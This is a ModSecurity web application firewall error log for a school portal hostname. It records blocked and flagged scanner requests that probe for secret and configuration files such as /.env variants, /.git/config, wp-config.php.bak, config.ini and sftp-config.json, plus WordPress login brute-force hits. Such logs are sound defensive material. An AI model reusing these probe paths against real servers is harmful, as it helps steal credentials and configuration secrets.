[Tue Dec 23 20:50:53.218974 2025] [:error] [pid 3405:tid 3459] [client 13.58.20.17:33316] [client 13.58.20.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aUqQLbdHHpIDpQ39rwlE9gAAABY"]
[Tue Dec 23 22:15:25.960545 2025] [:error] [pid 3404:tid 3430] [client 3.17.69.31:40016] [client 3.17.69.31] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aUqj_cJGbPWZNlrhVJdmAgAAAdU"]
[Tue Jan 06 11:43:03.532923 2026] [:error] [pid 45959:tid 45982] [client 157.230.18.141:56414] [client 157.230.18.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.18.141, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aVyEx1ajdn8P3hjgMYwSWwAAAVQ"]
[Tue Jan 06 11:43:04.638150 2026] [:error] [pid 44904:tid 44962] [client 157.230.18.141:57102] [client 157.230.18.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.18.141, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aVyEyDtieuI1BJEZcve9QwAAAFU"]
[Tue Jan 06 17:22:00.196213 2026] [:error] [pid 44903:tid 44912] [client 45.148.10.250:58954] [client 45.148.10.250] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aVzUONhHqjs38zbkQPDi6gAAAAU"]
[Thu Jan 08 19:04:55.443906 2026] [:error] [pid 2424:tid 2433] [client 185.177.72.60:33750] [client 185.177.72.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aV-PV7TDJR8aofkBk9QOHgAAAQc"]
[Thu Jan 08 19:04:58.554289 2026] [:error] [pid 7586:tid 7594] [client 185.177.72.60:65112] [client 185.177.72.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aV-PWsJyk37GdXP5TmVZwwAAAcY"]
[Thu Jan 08 20:56:04.213176 2026] [:error] [pid 2484:tid 2505] [client 185.177.72.16:52198] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aV-pZDiDlnlaQQK_AEOL3gAAAVE"]
[Thu Jan 08 20:56:06.014145 2026] [:error] [pid 17404:tid 17429] [client 185.177.72.16:52212] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aV-pZmVd_oH193N6AnW_kQAAAZc"]
[Thu Jan 08 20:56:07.713213 2026] [:error] [pid 15358:tid 15385] [client 185.177.72.16:41346] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aV-pZyoRk9xWJ3toSBJ_cgAAAM8"]
[Thu Jan 08 20:56:13.823211 2026] [:error] [pid 7586:tid 7606] [client 185.177.72.16:41350] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.old"] [unique_id "aV-pbcJyk37GdXP5TmVt4QAAAdA"]
[Thu Jan 08 20:56:15.622967 2026] [:error] [pid 15265:tid 15337] [client 185.177.72.16:41362] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.save"] [unique_id "aV-pb6E6VBKhew2LTFRLpgAAAIs"]
[Thu Jan 08 20:56:19.730497 2026] [:error] [pid 2484:tid 2489] [client 185.177.72.16:63596] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.prod"] [unique_id "aV-pcziDlnlaQQK_AEOL_wAAAUM"]
[Thu Jan 08 20:56:20.858628 2026] [:error] [pid 7586:tid 7593] [client 185.177.72.16:63606] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev"] [unique_id "aV-pdMJyk37GdXP5TmVt5AAAAcU"]
[Thu Jan 08 20:56:22.656770 2026] [:error] [pid 2424:tid 2449] [client 185.177.72.16:63610] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "aV-pdrTDJR8aofkBk9QpgAAAARc"]
[Thu Jan 08 20:57:08.216761 2026] [:error] [pid 2424:tid 2432] [client 185.177.72.16:58610] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.gitignore" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.gitignore"] [unique_id "aV-ppLTDJR8aofkBk9QpnQAAAQY"]
[Thu Jan 08 20:57:27.371708 2026] [:error] [pid 15264:tid 15321] [client 185.177.72.16:36270] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aV-pt4ov6_kvS0Owh-oSugAAAFY"]
[Thu Jan 08 20:57:29.953957 2026] [:error] [pid 17404:tid 17407] [client 185.177.72.16:36282] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "aV-puWVd_oH193N6AnW_0wAAAYE"]
[Thu Jan 08 20:57:35.228164 2026] [:error] [pid 15264:tid 15300] [client 185.177.72.16:36290] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.backup"] [unique_id "aV-pv4ov6_kvS0Owh-oSvQAAAEE"]
[Thu Jan 08 20:58:07.042194 2026] [:error] [pid 15263:tid 15282] [client 185.177.72.16:41318] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-config.php.bak"] [unique_id "aV-p39v61bxum7WG_e8FsAAAAAo"]
[Thu Jan 08 20:58:14.434703 2026] [:error] [pid 2484:tid 2495] [client 185.177.72.16:41328] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aV-p5jiDlnlaQQK_AEOMUQAAAUg"]
[Thu Jan 08 22:52:43.509440 2026] [:error] [pid 15264:tid 15307] [client 185.177.72.12:35792] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aV_Eu4ov6_kvS0Owh-olcQAAAEg"]
[Thu Jan 08 22:52:52.616861 2026] [:error] [pid 15264:tid 15301] [client 185.177.72.12:63092] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.save"] [unique_id "aV_ExIov6_kvS0Owh-olcgAAAEI"]
[Thu Jan 08 22:53:00.024910 2026] [:error] [pid 17404:tid 17427] [client 185.177.72.12:52486] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "aV_EzGVd_oH193N6AnXTtQAAAZU"]
[Thu Jan 08 22:53:35.294240 2026] [:error] [pid 15264:tid 15311] [client 185.177.72.12:54620] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aV_E74ov6_kvS0Owh-olhAAAAEw"]
[Thu Jan 08 22:53:36.193888 2026] [:error] [pid 15264:tid 15300] [client 185.177.72.12:54624] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/HEAD"] [unique_id "aV_E8Iov6_kvS0Owh-olhwAAAEE"]
[Fri Jan 09 01:10:37.592611 2026] [:error] [pid 15265:tid 15334] [client 185.177.72.10:35470] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aV_lDaE6VBKhew2LTFR8ogAAAIg"]
[Fri Jan 09 01:10:40.828018 2026] [:error] [pid 15265:tid 15343] [client 185.177.72.10:35486] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "aV_lEKE6VBKhew2LTFR8pwAAAJE"]
[Fri Jan 09 01:10:42.220234 2026] [:error] [pid 15264:tid 15323] [client 185.177.72.10:35502] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "aV_lEoov6_kvS0Owh-o9XwAAAFg"]
[Fri Jan 09 01:10:45.447919 2026] [:error] [pid 13673:tid 13681] [client 185.177.72.10:35504] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.save"] [unique_id "aV_lFYD4ue0-noJ7SHOwsQAAAgY"]
[Fri Jan 09 01:10:50.353216 2026] [:error] [pid 17404:tid 17407] [client 185.177.72.10:34254] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev"] [unique_id "aV_lGmVd_oH193N6AnXwtQAAAYE"]
[Fri Jan 09 01:11:21.325367 2026] [:error] [pid 13673:tid 13698] [client 185.177.72.10:11780] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-config.php.bak"] [unique_id "aV_lOYD4ue0-noJ7SHOw2QAAAhc"]
[Fri Jan 09 01:11:29.894284 2026] [:error] [pid 13673:tid 13682] [client 185.177.72.10:50122] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/HEAD"] [unique_id "aV_lQYD4ue0-noJ7SHOw6gAAAgc"]
[Fri Jan 09 20:32:26.091115 2026] [:error] [pid 14770:tid 14784] [client 12.23.251.107:33226] [client 12.23.251.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 12.23.251.107, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aWD1Wh5QbaVZ-6newJY9ggAAAgw"], referer: https://www.google.com
[Fri Jan 09 21:02:51.189796 2026] [:error] [pid 14739:tid 14748] [client 12.23.251.107:56406] [client 12.23.251.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 12.23.251.107, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp/wp-login.php"] [unique_id "aWD8e163M6_PkLt_IJJtWQAAAcc"], referer: https://www.google.com
[Fri Jan 09 21:33:18.915730 2026] [:error] [pid 30021:tid 30097] [client 12.23.251.107:33246] [client 12.23.251.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 12.23.251.107, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wordpress/wp-login.php"] [unique_id "aWEDng_M8aRtsTog5J-qigAAANA"], referer: https://www.google.com
[Wed Jan 14 08:15:11.059682 2026] [:error] [pid 19188:tid 19232] [client 104.28.152.248:33565] [client 104.28.152.248] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/style.php"] [unique_id "aWbgD54gjaoWMKiTtXtIQwAAAUw"]
[Sun Jan 18 17:05:50.830202 2026] [:error] [pid 12923:tid 12956] [client 45.144.212.169:62943] [client 45.144.212.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aWyibusWURrrC-4Rx5JWHgAAABg"]
[Thu Jan 22 03:06:11.444778 2026] [:error] [pid 4382:tid 4406] [client 45.128.199.215:50481] [client 45.128.199.215] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.php.bak"] [unique_id "aXEjo5Hg0falVG3JFbCjHQAAAZY"]
[Thu Jan 22 03:06:45.870938 2026] [:error] [pid 4382:tid 4404] [client 45.128.199.207:45975] [client 45.128.199.207] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/db.php.bak"] [unique_id "aXEjxZHg0falVG3JFbCjRgAAAZQ"]
[Thu Jan 22 03:06:48.979491 2026] [:error] [pid 21455:tid 21507] [client 45.128.199.200:59801] [client 45.128.199.200] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.inc"] [unique_id "aXEjyIpOKALCSo1URZGDxAAAAFA"]
[Thu Jan 22 03:06:50.786964 2026] [:error] [pid 59863:tid 59873] [client 45.128.199.232:21443] [client 45.128.199.232] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/conf/config.ini"] [unique_id "aXEjyrHQ1zVZ4yLuI-wiWwAAAQY"]
[Thu Jan 22 03:06:52.591352 2026] [:error] [pid 21455:tid 21508] [client 45.8.17.46:59315] [client 45.8.17.46] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.ini"] [unique_id "aXEjzIpOKALCSo1URZGDyAAAAFE"]
[Thu Jan 22 03:06:56.591064 2026] [:error] [pid 21454:tid 21464] [client 45.8.17.28:33985] [client 45.8.17.28] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/config.ini"] [unique_id "aXEj0Dwp5UZmMFzY2bqfYQAAAAA"]
[Thu Jan 22 03:06:59.335409 2026] [:error] [pid 4382:tid 4389] [client 45.128.199.113:56425] [client 45.128.199.113] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/configuration.ini"] [unique_id "aXEj05Hg0falVG3JFbCjUQAAAYU"]
[Thu Jan 22 03:07:13.967874 2026] [:error] [pid 21563:tid 21581] [client 45.128.199.128:35253] [client 45.128.199.128] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/configs/application.ini"] [unique_id "aXEj4RZq__dTorabEozi-wAAANA"]
[Thu Jan 22 03:07:14.691452 2026] [:error] [pid 21454:tid 21480] [client 45.128.199.109:41339] [client 45.128.199.109] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/settings.ini"] [unique_id "aXEj4jwp5UZmMFzY2bqfdAAAABA"]
[Thu Jan 22 03:07:15.404667 2026] [:error] [pid 56352:tid 56375] [client 45.128.199.115:21873] [client 45.128.199.115] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/application.ini"] [unique_id "aXEj49WN6wYNPTU3efVbegAAAVU"]
[Thu Jan 22 03:07:16.109958 2026] [:error] [pid 21456:tid 21542] [client 45.128.199.113:29647] [client 45.128.199.113] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/conf.ini"] [unique_id "aXEj5AKyVQ9Ob2YxRArlaQAAAJg"]
[Thu Jan 22 03:07:16.829856 2026] [:error] [pid 21454:tid 21477] [client 45.128.199.116:60107] [client 45.128.199.116] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app.ini"] [unique_id "aXEj5Dwp5UZmMFzY2bqfeAAAAA0"]
[Thu Jan 22 03:08:09.635633 2026] [:error] [pid 21455:tid 21495] [client 45.8.17.102:21641] [client 45.8.17.102] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/db.conf"] [unique_id "aXEkGYpOKALCSo1URZGD6QAAAEQ"]
[Thu Jan 22 03:09:39.391027 2026] [:error] [pid 56352:tid 56359] [client 45.128.199.250:43725] [client 45.128.199.250] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sftp-config.json"] [unique_id "aXEkc9WN6wYNPTU3efVb4QAAAUU"]
